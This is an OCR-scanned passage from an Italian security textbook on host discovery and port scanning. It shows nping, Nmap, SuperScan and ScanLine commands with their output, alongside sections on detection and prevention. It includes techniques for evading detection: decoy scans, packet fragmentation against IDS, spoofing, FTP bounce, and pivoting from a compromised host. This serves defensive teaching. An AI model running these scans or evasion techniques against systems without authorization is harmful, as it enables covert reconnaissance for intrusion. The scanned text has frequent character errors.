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tipi di messaggi ICMP. Tutto dipende dall'implementazione ICMP presente sul sistema
bersaglio e dal modo in cui risponde a questi tipi di pacchetti.

Conoscere il modo in cui i diversi sistemi operativi rispondono o non rispondono ai vari
tipi ICMP diventa anche utile per individuare 1 sistemi operativi remoti.

hping3 e nping

Hping3 (hping.org) ¢ uno strumento di packet-crafting estremamente robusto che per-
mette di definire qualsiasi combinazione di indicatori su qualsiasi combinazione di tipi di
pacchetti. Uno strumento come questo puo vantare un numero quasi infinito di possibili
utilizzi, ma qui ci concentreremo su ricerca di host e scansione di porte. La cattiva notizia
¢ che hping3 non viene gestito o aggiornato dal 2005. La buona notizia ¢ che Luis Martin
Garcia e Fyodor hanno deciso di riportarne in vita le funzionalitd in uno strumento che
accompagna Nmap e che si chiama nping.

user@hax:~$ sudo nping -c 2 --icmp --icmp-type time 192.168.1.1

Starting Nping 0.5.51 ( http://nmap.org/nping ) at 2011-09-24 14:07 PDT
SENT (0.0045s) ICMP 192.168.1.25 > 192.168.1.1 Timestamp request
(type=13/code=0) ttl=64 id=25869 iplen=40

RCVD (0.0189s) ICMP 192.168.1.1 > 192.168.1.25 Timestamp reply
(type=14/code=0) ttl=255 id=25869 iplen=40

SENT (1.0049s) ICMP 192.168.1.25 > 192.168.1.1 Timestamp request
(type=13/code=0) ttl=64 id=25869 iplen=40

RCVD (1.0082s) ICMP 192.168.1.1 > 192.168.1.25 Timestamp reply
(type=14/code=0) tt1=255 id=25869 iplen=40

Max rtt: 14.084ms | Min rtt: 2.820ms | Avg rtt: 8.452ms
Raw packets sent: 2 (80B) | Rcvd: 2 (92B) | Lost: 0 (0.00%)
Tx time: 1.00109s | Tx bytes/s: 79.91 | Tx pkts/s: 2.00

Rx time: 2.00356s | Rx bytes/s: 45.92 | Rx pkts/s: 1.00
Nping done: 1 IP address pinged in 2.01 seconds

Nping deve essere eseguito come root (da qui il sudo). Il comando precedente indica a
nping di inviare due (-c 2) messaggi ICMP (--icmp) di tipo TIMESTAMP (--icmp-type
time) all’host 192.168.1.1. Le risposte sono visibili nell’output prodotto, e indicano che
I'host sta rispondendo ai messaggi TIMESTAMP e pertanto deve essere attivo.

Nping supporta anche lo spoofing degli indirizzi MAC sorgenti, degli IP sorgenti, e
qualsiasi altra cosa a cui si possa pensare in un pacchetto — una capacita che puo rivelarsi
estremamente utile quando si cerca di nascondere la propria identita su una rete.

SuperScan

Per chi si interessa al mondo Windows e ha bisogno di un’ulteriore scelta accanto a Nmap,
citiamo ’'affidabile e collaudato prodotto SuperScan di Foundstone, illustrato nella Figura
2.2. S tratta di uno degli strumenti di ping sweep piu veloci in circolazione. SuperScan
invia svariati pacchetti ICMP ECHO REQUEST (oltre a tre altri tipi di ICMP) in pa-
rallelo e si limita rimanere in attesa e ad ascoltare le risposte. SuperScan consente anche
di risolvere 1 nomi di host e di visualizzare I’output ottenuto come file HTML.
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Figura 2.2 SuperScan di Foundstone e una delle utility di ping sweep
piu veloci e flessibili disponibili per Windows.

La ricerca di host TCP/UDP

Gli amministratori di sistema e di rete discutono spesso sulla minaccia rappresentata dal
consentire il protocollo ICMP sui sistemi e sui dispositivi di rete. [ICMP puo fornire pre-
ziose informazioni a un hacker, ma ¢ decisamente utile anche per individuare e risolvere
problemi di vario tipo. Il mondo reale ¢ formato da un miscuglio di reti che consentono
ICMP sui segmenti interni e affacciati su Internet, reti che lo permettono solo inter-
namente, e reti che non lo permettono affatto. Lapproccio che un hacker puo adottare
per ricercare gli host attivi su reti che limitano il protocollo ICMP implica l'utilizzo di
pacchetti TCP e/o UDP.

Generalmente i server forniscono qualche tipo di funzionalita di rete; per questo motivo,
¢ sempre a disposizione almeno una porta aperta a cui i client si possano collegare. Anche
i server protetti da firewall fanno delle concessioni, per potere svolgere il proprio ruolo.
Un hacker potrebbe approfittarne per determinare se un host sia attivo oppure no. Per
esempio, se un server web blocca le richieste ICMP, ma deve avere aperta la porta TCP
80 per poter accettare il traffico HTTP, un hacker potrebbe sondare la porta 80 e, in caso
di risposta, considerare 'host come attivo. Il lato negativo di questo approccio ¢ dato dal
fatto che non tutti 1 server sono server web con la porta TCP 80 aperta. Per questo un
hacker deve sondare alla cieca un gran numero di porte diverse, cercando di indovinare
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quali servizi siano disponibili sulla rete di interesse. Tutto ¢id comporta un grande dispendio
di tempo e molto “rumore”, e aumenta 1 rischi per chi attacca.

I sistemi desktop, d’altra parte, spesso non accettano le connessioni in ingresso, ¢ i moderni
sistemi operativi desktop in genere prevedono firewall locali abilitati per default, aumen-
tando la difficolta di un attacco. Cio detto, 1 computer desktop sono ben lungi dall’essere
impenetrabili, e molti utenti abilitano funzioni come il desktop remoto e la condivisione
di file, che si possono sfruttare per attivita di ricerca. Negli ambienti aziendali, ¢ pratica
comune degli amministratori del parco desktop disabilitare completamente i firewall locali
per poter gestire meglio i sistemi dei propri utenti; tutto cio rende molto pit semplice la
vita di un hacker, perché in questi casi viene spesso abilitato anche ICMP.

Nmap

Come abbiamo detto in precedenza, 'opzione -sn di Nmap consente un tipo ibrido di
attacco nel quale viene tentata una ricerca di host ARP, ICMP e TCP. Se I'host bersaglio
non ha la porta TCP 80 aperta, o 1 suoi pacchetti vengono bloccati in altro modo lungo il
percorso (per esempio da un firewall), Nmap considera ’host inattivo. A questo punto ci
si potrebbe arrendere (ipotesi da non prendere neppure in considerazione) o continuare
a sondare. Potremmo cercare di interrogare alla cieca I’elenco di porte di default previsto
da Nmap (che comprende 1000 porte comuni) indicando allo strumento di ignorare le
sue opzioni di ricerca di host e limitarsi a svolgere una scansione delle porte (che descri-
veremo in maggiore dettaglio nel paragrafo successivo di questo capitolo).

user@hax:~ $ nmap -Pn 192.168.1.1

Starting Nmap 5.51 ( http://nmap.org ) at 2011-09-24 15:36 PDT
Nmap scan report for 192.168.1.1

Host is up (0.038s latency).

Not shown: 999 closed ports

PORT  STATE SERVICE

22/tcp open ssh

Nmap done: 1 IP address (1 host up) scanned in 2.04 seconds

Anche se a prima vista questa potrebbe sembrare una buona idea, essa non consente di
scalare nel caso in cui si voglia eseguire la scansione di un ampio gruppo di host. Una
strada piu efficiente, quando si ha a che fare con un intero intervallo di host, ¢ quella di
scegliere una porta popolare e sondare direttamente quella. Il comando che segue ignora le
opzioni di ricerca di host di Nmap (-Pn) e invia in output unicamente gli host del segmento
192.168.1.0/24 che hanno la porta 22 aperta (-sS -p 22 --open). Ci occuperemo meglio
delle opzioni di scansione diretta delle porte (-sS -p 22 --open) nel paragrafo seguente.

user@hax:~$ sudo nmap -Pn -sS -p 22 --open 192.168.1.0/24

Starting Nmap 5.51 ( http://nmap.org ) at 2011-09-24 15:42 PDT
Nmap scan report for ubuntu (192.168.1.19)

Host is up (0.00015s latency).

PORT  STATE SERVICE

22/tcp open ssh

Nmap scan report for 192.168.1.22
Host is up (0.00060s latency).
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PORT  STATE SERVICE
22/tcp open ssh

Nmap scan report for 192.168.1.28
Host is up (0.0060s latency).
PORT  STATE SERVICE

22/tcp open ssh

Nmap done: 256 IP addresses (14 hosts up) scanned in 2.83 seconds

Vale la pena tentare qualche ciclo di questo tipo di scansione con numeri di porte comuni
come SMTP (25), POP (110),AUTH (113), IMAP (143), o altre porte che potrebbero
essere specifiche del sito. Anche se questa scansione richiede ancora pit tempo di una
scansione ICMP, puo comunque essere piu veloce di quella che utilizza tutte le 1000
porte di default di Nmap.

SuperScan

Anche SuperScan (Figura 2.3) ha la capacita di svolgere questa scansione. Come abbiamo
detto in precedenza, SuperScan effettua sia la ricerca di host che di servizi utilizzando
rispettivamente ICMP e TCP/UDP. Con le opzioni di scansione delle porte TCP/UDDP,
¢ possibile determinare se un host ¢ attivo o no, senza ricorrere in alcun modo a ICMP.
Basta spuntare la casella di scelta per ogni protocollo che si vuole utilizzare e il tipo di
tecnica desiderata, e via.

=10l x|

Fean | Host and Service Discovery | Scan Dptionsl Tools I Windows Enumerationl About I

~IPs

Hosthame/IF I > | Start IP | EndIF | Clear Selected |
10111 102.3.254
st X[ 172 16 3 | |r2ie3a 17213225 Ceartl |

EndIF 5“ 172 . 16 . 32 . 254 : 19216811 192.168.3.254

Read IPs from file

fab

j=19

=2
v

_’lllil Yiew HTML Results |
[

|Ready 4

Figura 2.3 Con SuperScan di Foundstone si possono scoprire host nascosti dietro firewall.
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nping

Come ¢ facile attendersi, anche nping puo essere utilizzato per la ricerca host TCP/UDP.
Data la grande versatilita di nping, 1 suoi output sono piu abbondanti per default, e po-
trebbero fornire pit informazioni di quelle desiderate. E possibile ridurre 'output con il
parametro -q (non mostrato qui), ma anche in questo caso 1 risultati non sono semplici
da capire come quelli di Nmap o SuperScan.

user@hax:~$ sudo nping -c 2 --tcp -p 22 --flags syn 192.168.1.23

Starting Nping 0.5.51 ( http://nmap.org/nping ) at 2011-09-24 15:48 PDT
SENT (0.0122s) TCP 192.168.1.25:15930 > 192.168.1.23:22 S ttl=64 id=62836
iplen=40 seq=2175166331 win=1480

RCVD (0.0148s) TCP 192.168.1.23:22 > 192.168.1.25:15930 SA ttl=255 id=4763
iplen=44 seq=1120896879 win=4128 <mss 536>

SENT (1.0127s) TCP 192.168.1.25:15930 > 192.168.1.23:22 S ttl=64 id=62836
iplen=40 seq=2175166331 win=1480

RCVD (1.0177s) TCP 192.168.1.253:22 > 192.168.1.25:15930 SA tt1=255 id=18433
iplen=44 seq=3123565432 win=4128 <mss 536>

Max rtt: 4.417ms | Min rtt: 2.228ms | Avg rtt: 3.322ms

Raw packets sent: 2 (80B) | Rcvd: 2 (92B) | Lost: 0 (0.00%)
Tx time: 1.00139s | Tx bytes/s: 79.89 | Tx pkts/s: 2.00

Rx time: 2.00410s | Rx bytes/s: 45.91 | Rx pkts/s: 1.00
Nping done: 1 IP address pinged in 2.02 seconds

Diamo un’occhiata alla terza e alla quinta riga dell’output riportato precedentemente. Nella
terza riga, (che inizia con “SENT”) notate la “S” (che sta per SYN) tra I'indirizzo e la porta
di destinazione (192.168.1.23:22) e il valore del TTL (tt1=64). Questo carattere definisce
1 flag TCP (abbiamo indicato a nping di utilizzare 'opzione --flags syn), impostati sul
pacchetto inviato al bersaglio. Sulla quinta riga (che inizia con “RCVD”), la lettera “S” ¢
stata sostituita da “SA”, che sta per SYN/ACK. Questa riga riporta la risposta del sistema
bersaglio. Il SYN/ACK indica che la porta ¢ aperta. Tutti questi flag verranno descritti in
maggiore dettaglio nei prossimi paragrafi.

Q Contromisure contro i ping sweep

I ping sweep potrebbero anche sembrare un semplice disturbo, invece ¢ importante rile-
vare tali attivitd quando si verificano. In base al paradigma di sicurezza adottato, potrebbe
essere necessario addirittura bloccarli. Nel seguito esaminiamo entrambe le possibilita.

Rilevamento

Come abbiamo detto, la mappatura di rete tramite ping sweep ¢ un metodo collaudato
per eftettuare il riconoscimento di una rete prima di portare un attacco reale. Per questo
motivo, rilevare 1 ping sweep ¢ fondamentale per determinare quando potrebbe verificarsi
un attacco e per identificare 'aggressore. Il principale metodo per rilevare 1 ping sweep
comporta l'utilizzo di programmi IDS di rete come Snort (snort.org).

Dal punto di vista del sistema host, diverse utility UNIX rilevano e registrano simili
attacchi. Se notate una serie di pacchetti ECHO ICMP provenire da un particolare si-
stema, o da una rete, potrebbe essere il sintomo che qualcuno sta effettuando attivita di
riconoscimento della rete nei confronti del vostro sito. Prestate molta attenzione a questa
attivita, perché potrebbe indicare un attacco imminente.
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Molti firewall per reti commerciali e desktop (per esempio di Cisco, Check Point, Microsoft,
McAfee, Symantec e IBM/ISS) sono in grado di rilevare ping sweep con pacchetti ICMP,
TCP e UDP. Tuttavia, il fatto che esistano gli strumenti tecnologici che rilevano questo
comportamento non costituisce di per sé alcuna garanzia: serve qualcuno che si occupi di
tenerli sotto controllo. Negli anni siamo giunti alla conclusione che ¢ impossibile sfuggire
alla necessita di un controllo: senza qualcuno che tenga gli occhi aperti sullo schermo,
capisca cio che vede e sia pronto a reagire in modo rapido e appropriato,i migliori firewall
e strumenti di rilevamento delle intrusioni sono del tutto inutili.

Nella Tabella 2.1 sono elencati altri strumenti di rilevamento di ping UNIX che possono
potenziare le capacita di controllo.

Tabella 2.1 Strumenti di rilevamento di ping UNIX.

Programma Risorsa

scanlogd openwall.com/scanlogd

Courtney packetstormsecurity.org/UNIX/audit/courtney-1.3.tar.zZ

ippl pltplp.net/ippl

Protolog packetstormsecurity.org/UNIX/loggers/protolog-1.0.8.tar.gz
Prevenzione

Benché il rilevamento delle attivita di ping sweep sia fondamentale, la prevenzione puo
andare ancora oltre. Raccomandiamo di valutare con cura il tipo di traffico ICMP che
¢ consentito nelle proprie reti o in sistemi specifici. Esistono molti tipi diversi di traffico
ICMP, ECHO ed ECHO_REPLY sono solo due esempi. La maggior parte dei router
non richiede di abilitare tutti 1 tipi di traffico ICMP verso tutti 1 sistemi direttamente
connessi a Internet. Benché praticamente tutti 1 firewall siano in grado di filtrare 1 pacchetti
ICMP, per esigenze organizzative potrebbe essere necessario indicare di lasciar passare
alcuni tipi di traffico. Se I'esigenza ¢ reale, occorre considerare con attenzione quali tipi
di traffico ICMP consentire. Un approccio minimalista potrebbe essere quello di con-
sentire il passaggio dei soli pacchetti ICMP ECHO_REPLY, HOST_UNREACHABLE
e TIME_EXCEEDED nella rete DMZ, e soltanto verso indirizzi specifici del proprio
ISP. Inoltre, sarebbe ancora meglio limitare il traffico ICMP con elenchi di controllo di
accesso (ACL) verso specifici indirizzi IP del proprio ISP, In questo modo I'ISP potra
controllare la connettivitd e ostacolare 'esecuzione di ping sweep ICMP verso sistemi
connessi direttamente a Internet.

ICMP ¢ un protocollo potente per la diagnosi di problemi di rete, ma offre la possibilita
di facili abusi. Se si consente il traftico ICMP senza limitazioni all'interno della propria
rete, gli hacker potrebbero avere la possibilita di realizzare attacchi DoS (Denial of Service)
al fine di bloccare un sistema o renderlo scarsamente utilizzabile. Cosa ancora peggiore,
se gli hacker riuscissero a compromettere uno dei sistemi della rete, potrebbero essere in
grado di realizzare una back-door del sistema operativo e dirottare 1 dati di tunneling in
un pacchetto ECHO ICMP utilizzando un programma come loki2. Per ulteriori infor-
mazioni su questo programma, si pud consultare Phrack Magazine (phrack.org).

Un altro strumento interessante ¢ pingd, sviluppato da Tom Ptacek e portato in Linux
da Mike Schiftman. Si tratta di un daemon userland che gestisce tutto il traftico ICMP
ECHO ed ECHO_REPLY al livello dell’host. Questa funzionalita ¢ ottenuta rimuovendo
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dal kernel il supporto dell’elaborazione di ECHO ICMP e implementando un daemon
userland con un socket ICMP raw per gestire questi pacchetti. In sostanza, lo strumento
fornisce un meccanismo di controllo di accesso a livello di sistema. pingd ¢ disponibile
nella versione per Linux presso packetstormsecurity.org/UNIX/misc/pingd-0.5.1.tgz.

Determinare quali servizi sono in esecuzione o in ascolto

Finora abbiamo individuato 1 sistemi attivi utilizzando una varieta di metodi di ping sweep.
Ora siamo pronti a iniziare a sondare ciascuno di quei sistemi per individuare quali porte
e servizi sono disponibili per portare un attacco.

N/

" Scansione di porte

Popolarita: 10
Semplicita: 10
Impatto: 7

Grado di rischio: 9

La scansione di porte & il processo che prevede I'invio di pacchetti a porte TCP e UDP sul
sistema bersaglio per determinare quali servizi sono in esecuzione o in stato LISTENING.
Individuare le porte in ascolto ¢ fondamentale per determinare i servizi in esecuzione e di
conseguenza le vulnerabilita presenti in un sistema remoto. In piu, ¢ possibile determinare
il tipo e la versione del sistema operativo e le applicazioni in uso. I servizi attivi in ascolto
sono come le porte e le finestre di casa: consentono l'ingresso al proprio domicilio. In
base al tipo di percorso (finestra o porta), un utente non autorizzato potrebbe accedere a
sistemi configurati male o che eseguono una versione di un software con noti problemi
di sicurezza. Nel seguito esamineremo diversi strumenti e tecniche per la scansione di
porte che vi forniranno parecchie informazioni utili e che vi consentiranno di osservare
le vulnerabilita del sistema. Le tecniche per la scansione di porte descritte nel seguito
sono diverse da quelle citate in precedenza, quando ci limitavamo a tentare di indivi-
duare 1 sistemi attivi. Nel seguito ipotizzeremo che 1 sistemi siano attivi e cercheremo di
determinare tutte le porte in ascolto o 1 potenziali punti di accesso del nostro bersaglio.
Con la scansione delle porte dei sistemi bersaglio vogliamo raggiungere diversi obiettivi,
che comprendono 1 seguenti e altri ancora:

* individuare i servizi TCP e UDP in esecuzione sul sistema bersaglio;
* individuare il tipo di operativo in uso sul sistema bersaglio;

¢ individuare applicazioni specifiche o versioni di un particolare servizio.

Tipi di scansioni

Prima di entrare nei dettagli degli strumenti di scansione delle porte, dobbiamo discutere
le varie tecniche disponibili per questo scopo. Uno dei pionieri nell'implementazione
delle tecniche di scansione di porte ¢ Fyodor, che ha incluso nel suo strumento Nmap
molte di queste tecniche. Molti dei tipi di scansione che discuteremo nel seguito sono il
diretto risultato dell’opera di Fyodor stesso:
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¢ Scansione di connessione TCP. Questo tipo di scansione effettua la connessione
alla porta bersaglio e completa un handshaking a tre vie (SYN, SYN/ACK e ACK),
secondo quanto stabilisce 'RFC (Request for Comments) TCP. A causa dell’hanshaking a
tre vie, questo tipo di scansione richiede piti tempo di altri ed ¢ maggiormente soggetto
alla possibilita di essere rilevato e registrato nei log del sistema bersaglio. La scansione di
connessione TCP ¢ del tutto accessibile senza alcuna necessita di livelli di autorizzazione
particolari, percio rappresenta la scelta ideale quando si € costretti a eseguire una scansione
come utente non root. La Figura 2.4 illustra I’handshaking a tre vie TCP.

Handshaking TCP a tre vie

l 1) SYN inviato dal client

. 2) SYN/ACK inviato dal server

[——
= 3) ACK inviato dal client
Client

N
P
A

v

Server

Figura 2.4 (1) Invio di un pacchetto SYN; (2) ricezione di un pacchetto SYN/ACK;
(3) invio di un pacchetto ACK.

e Scansione SYN TCP. Questa tecnica ¢ chiamata scansione semiaperta perché non
viene stabilita una connessione TCP completa, ma ci si limita a inviare un pacchetto
SYN alla porta bersaglio. Se si riceve un SYN/ACK dalla porta bersaglio, si puo
dedurre che tale porta si trova nello stato LISTENING, mentre un RST/ACK soli-
tamente indica che la porta non ¢ in ascolto. Questa tecnica ha il vantaggio di essere
meno facile da rilevare di una connessione TCP completa, e potrebbe non essere
registrata dal sistema bersaglio; tuttavia, uno degli svantaggi ¢ che questa forma di
scansione puo produrre una condizione di indisponibilita del servizio sul bersaglio
aprendo un gran numero di connessioni semiaperte. Comunque, a meno di non
effettuare la scansione di uno stesso sistema con un alto numero di connessioni come
queste, questa tecnica ¢ relativamente sicura.

* Scansione FIN TCP. Questa tecnica invia un pacchetto FIN alla porta bersaglio. In
base allRFC 793 (ietf.org/rfc/rfc0793.txt), il sistema bersaglio dovrebbe restituire
un RST per tutte le porte chiuse. Questa tecnica solitamente funziona su stack TCP/
IP basati su UNIX.

* Scansione Xmas Tree TCP. Questa tecnica invia un pacchetto FIN,URG e PUSH
alla porta bersaglio. In base allRFC 793, il sistema bersaglio dovrebbe restituire un
RST per tutte le porte chiuse.

* Scansione Null TCP. Questa tecnica disattiva tutti i flag. In base al’lRFC 793, il
sistema bersaglio dovrebbe restituire un RST per tutte le porte chiuse.

* Scansione ACK TCP. Questa tecnica ¢ utilizzata per mappare 1 ruleset dei firewall.
Puo aiutare a determinare se il firewall ¢ un semplice filtro di pacchetti che consente
solo connessioni con il bit ACK impostato, oppure ¢ un firewall con controllo sullo
stato che opera un filtro avanzato.
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* Scansione di finestre TCP. Questa tecnica potrebbe rilevare le porte aperte e
anche filtrate/non filtrate su alcuni sistemi (per esempio AIX e FreeBSD) a causa di
un’anomalia nel modo in cui € riportata la dimensione delle finestre TCP.

* Scansione RPCTCP. Questa tecnica ¢ specifica per 1 sistemi UNIX ed ¢ utilizzata
per rilevare e individuare le porte RPC (Remote Procedure Call) e 1 programmi
associati con 1 numeri di versione.

* Scansione UDP. Questa tecnica invia un pacchetto UDP alla porta bersaglio; se
questa risponde con un messaggio di porta ICMP irraggiungibile, significa che ¢
chiusa; viceversa, se non si riceve questo messaggio, si pud dedurne che la porta ¢
aperta. Poiché UDP ¢ un protocollo privo di informazioni sullo stato, 'accuratezza
di questa tecnica ¢ altamente dipendente da molti fattori correlati all’utilizzo e al
meccanismo di filtro della rete bersaglio. Inoltre, la scansione UDP ¢ un processo
molto lento se si cerca applicarlo a un dispositivo che impiega un meccanismo di
filtro dei pacchetti avanzato. Se si intende di effettuare scansioni UDP su Internet,
occorre tenere presente che si potrebbero ricevere risultati inaftidabili.

Certe implementazioni IP si contraddistinguono perché vengono restituiti pacchetti RST
per tutte le porte oggetto di scansione, a prescindere dal fatto che siano in ascolto o meno.
Per questo motivo, 1 risultati di queste scansioni potrebbero variare; tuttavia, le scansioni
SYN e connect() dovrebbero funzionare con tutti gli host.

Individuare i servizi TCP e UDP in esecuzione

Oggi molti strumenti dispongono di funzionalita per la ricerca di host e la scansione di
porte; spesso operano tentando in primo luogo di determinare se un host ¢ attivo, con
1 metodi di ricerca descritti precedentemente, e solo nel caso sia attivo eseguono una
scansione di porte. Sono disponibili molti scanner di porte per ambienti UNIX e Win-
dows, ma ci limiteremo a esaminare alcuni dei piu diftusi e meglio collaudati nel tempo.

Nmap

Cominciamo come sempre con Nmap. Fyodor (e altri) hanno implementato tutte le
scansioni piu popolari elencate nel paragrafo precedente, pitl altre meno note quali la
scansione di SCTP INIT e TCp Maimon (cfr. la documentazione di Nmap per ulteriori
informazioni). Nmap risulta cosi uno dei pit potenti strumenti per la scansione di porte
esistentl. Come molti degli strumenti descritti qui, Nmap procede in maniera intelligente,
eseguendo prima una ricerca di host e poi procedendo alla scansione di porte soltanto
per gli host individuati come attive. Esaminiamo alcune delle sue funzionalita piu utili; la
piu semplice ¢ la scansione di porte SYN TCP:

user@hax:~$ sudo nmap -sS 192.168.1.231

Starting Nmap 5.51 ( http://nmap.org ) at 2011-09-26 08:20 PDT
Nmap scan report for 192.168.1.231

Host is up (0.00071s latency).

Not shown: 994 closed ports

PORT STATE SERVICE

80/tcp open http

139/tcp open netbios-ssn

445/tcp open microsoft-ds
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515/tcp open printer

631/tcp open ipp

9100/tcp open jetdirect

MAC Address: 08:00:37:AD:D3:62 (Fuji-xerox (O.)

Nmap done: 1 IP address (1 host up) scanned in 6.77 seconds

Nmap dispone anche di altre funzionalita. Notate che, nel prossimo esempio, utilizziamo
l'opzione -o per salvare 'output in un file separato. Con I'opzione -oN si salvano 1 risultati
in formato leggibile:

user@hax:~$ sudo nmap -sF 192.168.1.0/24 -oN outfile

Se volete salvare 1 risultati in un file delimitato da tabulazioni, in modo da poterlo ana-
lizzare in un secondo tempo da programma, utilizzate I’opzione -oG (tenete presente che
questa opzione verra gradualmente abbandonata in favore dell’output XML ottenuto
con -oX). Poiché questa scansione potrebbe causare la ricezione di una grande quantita
di informazioni, ¢ una buona idea indicare il salvataggio dei dati su file in uno di questi
formati. In alcuni casi ¢ utile combinare le opzioni -oN e -0G per salvare "'output in en-
trambi 1 formati. L'opzione -0A consente di salvarlo in tutti 1 formati.

Supponiamo che, dopo aver eseguito il footprinting di un’organizzazione, scopriamo
che questa utilizza un semplice dispositivo di filtro dei pacchetti come firewall primario.
Potremmo utilizzare I'opzione -f di Nmap per frammentare 1 pacchetti. In sostanza, questa
opzione suddivide gli header TCP su diversi pacchetti, in modo da ostacolare il rilevamento
della scansione da parte di dispositivi di controllo di accesso o sistemi di rilevamento delle
intrusioni (IDS). Nella maggior parte dei casi 1 sistemi di filtro dei pacchetti e 1 firewall piu
moderni accoderanno tutti 1 frammenti IP prima di valutarli, ma ¢ possibile che sistemi
meno recenti, o che richiedono il massimo livello di prestazioni, non deframmentino 1
pacchetti prima di elaborarli.

In base al livello dei sistemi di monitoraggio della rete e degli host bersaglio, le scan-
sioni effettuate finora potrebbero essere facilmente rilevate. Nmap mette a disposizione
un’altra funzionalita di scansioni “civetta”, pensata per sommergere un sito bersaglio con
informazioni superflue, tramite 'opzione -D. Queste scansioni civetta vanno lanciate con-
temporaneamente a una scansione reale, falsificando I'indirizzo di origine dei messaggi
per indicare server legittimi e mescolando a queste scansioni di disturbo la scansione di
porte reale. Il sistema bersaglio rispondera agli indirizzi falsificati e anche alla scansione di
porte reale; inoltre, dovra tenere traccia di tutte le scansioni per determinare quali sono
legittime e quali no. Ricordate che l'indirizzo “civetta” deve essere valido, altrimenti le
scansioni potrebbero sommergere di messaggi il sistema bersaglio con un eftetto SYN-
flood e portare a una condizione di indisponibilita del servizio. Uesempio che segue
utilizza 'opzione -D:

user@hax:~$ sudo nmap -sS 192.168.1.1 -D 10.1.1.1

Starting Nmap 5.51 ( http://nmap.org ) at 2011-09-26 08:30 PDT
Nmap scan report for 192.168.1.1

Host is up (0.028s latency).

Not shown: 999 closed ports

PORT  STATE SERVICE

22/tcp open ssh

Nmap done: 1 IP address (1 host up) scanned in 3.40 seconds
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Nel precedente esempio Nmap fornisce le funzionalita di scansione civetta per ostacolare
la distinzione tra scansioni di porte legittime e no.

Lultima tecnica di scansione che descriviamo ¢ la scansione FTP bounce (a rimbalzo FTP).
Lattacco FTP bounce ¢ stato messo in luce da Hobbit in un messaggio inviato a Bugtraq
nel 1995, dove egli sottolineava alcune delle falle implicite del protocollo FTP (cfr. RFC
959 presso ietf.org/rfc/rfc0959.txt). Questo attacco, benché oggi risulti obsoleto e
praticamente inutilizzabile, illustra un insidioso metodo di ripulire le connessioni attra-
verso un server FTP abusando del supporto per connessioni FTP “proxy”. E importante
comprendere questa tecnica, benché sia datata, se si vuole comprendere davvero il raggio
d’azione di un hacker che tenta di raggiungere il proprio obiettivo.

Come Hobbit rileva nel messaggio appena citato, gli attacchi FTP “possono essere utilizzati
per inviare messaggi di posta e news praticamente impossibili da tracciare, provocare pro-
blemi a server di vari siti, riempire unita a disco, cercare di aggirare firewall e, in generale,
provocando noie e difficolta di rilevamento nello stesso tempo. Inoltre, ¢ possibile far
rimbalzare scansioni di porte dal server FTP per nascondere la propria identita, o ancora
meglio, per aggirare dei meccanismi di controllo.

Naturalmente Nmap supporta questo tipo di scansione, con 'opzione -b; tuttavia, devono
essere valide alcune condizioni. In primo luogo, il server FTP deve avere una directory
con possibilita di scrittura e lettura, come /incoming. In secondo luogo, il server FTP deve
consentire a nmap di inviare informazioni fittizie tramite il comando PORT. Questa tecnica
¢ molto efficace per aggirare i sistemi di controllo di accesso e per nascondere I'identita
del suo utente, ma 'operazione puo essere molto lenta. Inoltre, molte versioni pit recenti
dei server FTP non consentono che questo tipo di attivita abbia luogo.

SuperScan

SuperScan di Foundstone ¢ un’ottima alternativa GUI a Nmap per ambienti Windows.
Come si puo vedere dalle Figure 2.5 e 2.6, lo strumento consente la scansione ping, la
scansione di porte TCP e UDP, e comprende diverse tecniche per eseguire il tutto.
SuperScan oftre la scelta tra quattro diverse tecniche di ricerca di host ICMP, tra cui
le tradizionali ECHO REQUESTS e le meno comuni TIMESTAMP REQUESTS,
ADDRESS MASK REQUESTS e INFORMATION REQUESTS. Ognuna di queste
tecniche puo produrre informazioni utili a costruire I’elenco degli host attivi. Inoltre, lo
strumento permette di scegliere le porte da sottoporre a scansione, le tecniche per la scan-
sione UDP (comprese la scansione Dati, Dati+ICMDP, e a sorgente statica), e le tecniche
per la scansione TCP (tra cui SYN, Connect e scansione a sorgente statica).

La tecnica di scansione dati UDP invia un pacchetto di dati alla porta UDP e, in base alla
risposta, determina se la porta ¢ aperta o chiusa. Questo metodo non ¢ eccessivamente
accurato e richiede che il prodotto riconosca una stringa di nudge valida. Quindi, se la
porta UDP ¢ associata a un servizio particolare, questo metodo potrebbe anche non riu-
scire a capire se ¢ aperta o meno. La combinazione Dati+ICMP aumenta di un gradino
l'accuratezza della tecnica Dati, aggiungendo una tecnica di scansione UDP tradizionale
molto migliorata che invia molteplici pacchetti UDP a una porta presumibilmente chiusa;
poi, a seconda della capacita del sistema di rispondere con pacchetti ICMP, questa tec-
nica crea una finestra nella quale analizzare la porta bersaglio. La tecnica Dati+ICMP ¢
incredibilmente precisa e riesce a individuare tutte le porte aperte, ma richiede un certo
tempo; tenetene conto, se decidete di utilizzarla.
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molti dei quali sono discussi in vari capitoli di questo libro.

SuperScan fornisce numerosi strumenti di valutazione e rilevazione,
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ScanlLine

ScanLine ¢ uno strumento di Foundstone (foundstone.com) per Windows, che funziona
unicamente dalla riga di comando. Come netcat, ¢ costituito da un unico file eseguibile,
e cio ne rende facile il caricamento su un host compromesso, da utilizzare poi come
punto di appoggio da cui aggredire 1 sistemi interni che potevano risultare inaccessibili
dal punto di attacco iniziale. Date un’occhiata a questo esempio:

C:\ >sl -t 21,22,23,25 -u 53,137,138 192.168.0.1
ScanLine (TM) 1.01

Copyright (c) Foundstone, Inc. 2002
http://foundstone.com

Scan of 1 IP started at Fri Nov 22 23:09:34 2002

192.168.0.1

Responded in 0 ms.

1 hop away

Responds with ICMP unreachable: No
TCP ports: 21 23

UDP ports:

Scan finished at Fri Nov 22 23:09:46 2002

1 IP and 7 ports scanned in 0 hours O mins 12.07 secs

Lelenco delle funzionalita di ScanLine si puo ricavare dal file di aiuto del programma:

ScanLine (TM) 1.01
Copyright (c) Foundstone, Inc. 2002
http://foundstone.com

sl [-?bhijnprsTUvz]
[-cdgnq ]
[-flLo0 «<file>]
[-tu [, - 1]
IP[,IP-IP]

-? - Shows this help text

-b - Get port banners

-c - Timeout for TCP and UDP attempts (ms). Default is 4000
-d - Delay between scans (ms). Default is 0

-f - Read IPs from file. Use "stdin" for stdin

-g - Bind to given local port

-h - Hide results for systems with no open ports

-1 - For pinging use ICMP Timestamp Requests in addition to Echo Requests
-j - Don’t output "----- ..." separator between IPs

-1 - Read TCP ports from file

-L - Read UDP ports from file

-m - Bind to given local interface IP

-n - No port scanning - only pinging (unless you use -p)

-0 - Output file (overwrite)

-0 - Output file (append)



La scansione 63

-p - Do not ping hosts before scanning

-q - Timeout for pings (ms). Default is 2000

-r - Resolve IP addresses to hostnames

-s - Output in comma separated format (csv)

